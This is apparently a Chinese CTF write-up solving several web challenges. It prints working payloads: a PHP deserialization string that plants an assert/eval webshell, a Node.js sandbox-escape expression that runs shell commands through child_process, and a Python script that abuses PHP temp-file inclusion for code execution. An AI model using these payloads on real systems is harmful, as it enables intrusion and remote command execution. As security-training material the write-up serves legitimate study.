查源码
F12,ctrl+U,没啥好说的
RealEzPHP
打开是个黑页,查看源码发现了 ./time.php?source
访问之:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
2020-04-21 07:53:29
很简单的一个反序列化,
<?php
#error_reporting(0);
class HelloPhp
{
public $a = '1';//更改为2,3,4,5能读取更多信息
public $b = 'phpinfo';
/*
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
*/
}
$pop = new HelloPhp;
echo serialize($pop);
直接 ?data=O:8:"HelloPhp":2:{s:1:"a";s:1:"1";s:1:"b";s:7:"phpinfo";}
就能看到phpinfo页面;
好,写后门:
<?php
#error_reporting(0);
class HelloPhp
{
public $a = 'eval($_POST[\'wh1sper\']);';
public $b = 'assert';
/*
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
*/
}
$pop = new HelloPhp;
echo serialize($pop);
O:8:"HelloPhp":2:{s:1:"a";s:24:"eval($_POST['wh1sper']);";s:1:"b";s:6:"assert";}
蚁剑访问 ?data=O:8:"HelloPhp":2:{s:1:"a";s:24:"eval($_POST['wh1sper']);";s:1:"b";s:6:"assert";}
密码wh1sper就能拿到shell,不过在phpinfo里面可以看到禁用了很多函数,这里可以使用蚁剑的插件绕过:
直接美滋滋;
不过根目录是假flag,flag就在phpinfo页面。。。。。
flag{6b8ca41f-d409-4d39-b62f-5243d2f0d64b}
我还去探测内网,真的搞心态。。。
web🐕
考察密码学,详见本站:Padding Oracle Attack&CBC字节翻转攻击
验证🐎
参考:https://guokeya.github.io/post/XxOKeal9U/
考点:JS弱类型转换,JS原型链
源码:
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = require('./key.js').keys;
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给爪⑧
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
第一层45行,first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])
要求first和second长度相同,值不同,然后经过加盐之后值完全相同,一般这种看到就知道是弱类型,在susecctf上面遇见过,盐是字符串,当拼接的时候,first和second都会被转化为字符串,那么我们可以传入
first='1' second=[1]
但是urlencode没办法传递数组,第31行恰巧提示了可以接受json形式的数据,那么我们就可以传入json:
Content-Type: application/json
{"e":"1+1","first":"1","second":[1]}
我们可以看到1+1被执行了;
第二层,17行, if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, ''))
这句话意思大概是,e的值只能 是 Math.xxxxx
。符号只能出现 ()+\-*&|%^<>=,?:
。
由于=>的存在,我们得以使用JS的箭头函数,大概是这个意思:
x => x*x
等价于
function (x){
return x*x;
}
我们对照着playload一步步看:
(Math=>
(Math=Math.constructor,
Math.x=Math.constructor(
Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
)
)(Math+1)
最外层的是
(Math=>(xxxxx)())(Math+1)
最外面的小括号是JS立即执行的函数,否则你就只是单单定义了function (Math){}
这个函数。
开头的Math
是函数接受的参数也就是形参,xxxxx
是函数体,(Math+1)
是实际传入的参数
接下来我们看他的函数体xxxxx
干了些什么;
举个例子:
Math=Math.constructor,Math=Math.constructor(Math.fromCharCode(97,108,101,114,116,40,49,41))
可以看到,这里定义了Math,把传入的Math的constructor属性赋值
具体是什么意思呢?这里是利用了JS的原型链:
- 一开始
Math
并没有定义,如果我们直接传入Match
,那么会是object
,而payload中传入的是Math+1
,此时类型就变成了object1
。object对象和字符串进行拼接。那么会转换为string
类型 - 为了清楚,我们重写下代码:
test=Math.constructor //传入的Math是string,返回string类型的原型,String[function String()]
test2=test.constructor //返回string原型的原型,Function[funciton Function]
- 也就是通过一个
object1
从原型链上获取了String
和Function
两种类型
回到题目,
#fromCharCode函数必须是在String类型上用,也就是String.fromCharCode()
Math=Math.constructor
#定义了string类型
Math=Math.construtor
#定义了function类型
Math.constructor,Math=Math.constructor(Math.fromCharCode(97,108,101,114,116,40,49,41))()
等同于
function(string.fromCharCode(xxxxxxxxx)()
exp中fromCharCode里面解码是:
return process.mainModule.require('child_process').execSync('cat /flag').toString()
相当于我们执行了:
function(
return process.mainModule.require('child_process').execSync('cat /flag').toString()
)()
flag{7683e76d-e61e-4b5a-bca0-3ad38bfa27a0}
ezinclude
考点:MD5哈希长度拓展攻击(疑似)、PHP7利用php Segfault包含保存的临时文件
打开题目,源代码里面有提示:<!--md5($secret.$name)===$pass -->
疑似MD5哈希长度拓展攻击,不过在响应包里面给出啦pass的值,可能是出题出翻车了
得到了 flflflflag.php
,访问重定向到了其他页面,抓包抓回来,页面提示 include($_GET["file"])
,扫目录可以得到 dir.php
,包含他可以看到这个页面列出了 /tmp
下的所有文件
这里考察的是PHP临时文件包含,其基本是两种情况:
- 利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除
- PHP版本<7.2,利用php崩溃留下临时文件
贴一篇:>>LFIroRCE总结
这里就不累述了,直接上脚本:
import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = {
'file': BytesIO(payload.encode())
}
url = "http://35869f0e-43e6-47db-a026-b77fdfed3fea.node3.buuoj.cn/flflflflag.php?"\
+"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
然后访问 dir.php
可以得到临时文件的名称,包含之即可RCE
flag就在phpinfo页面
flag{2ac28208-c35f-426b-bca5-4f50a77e1203}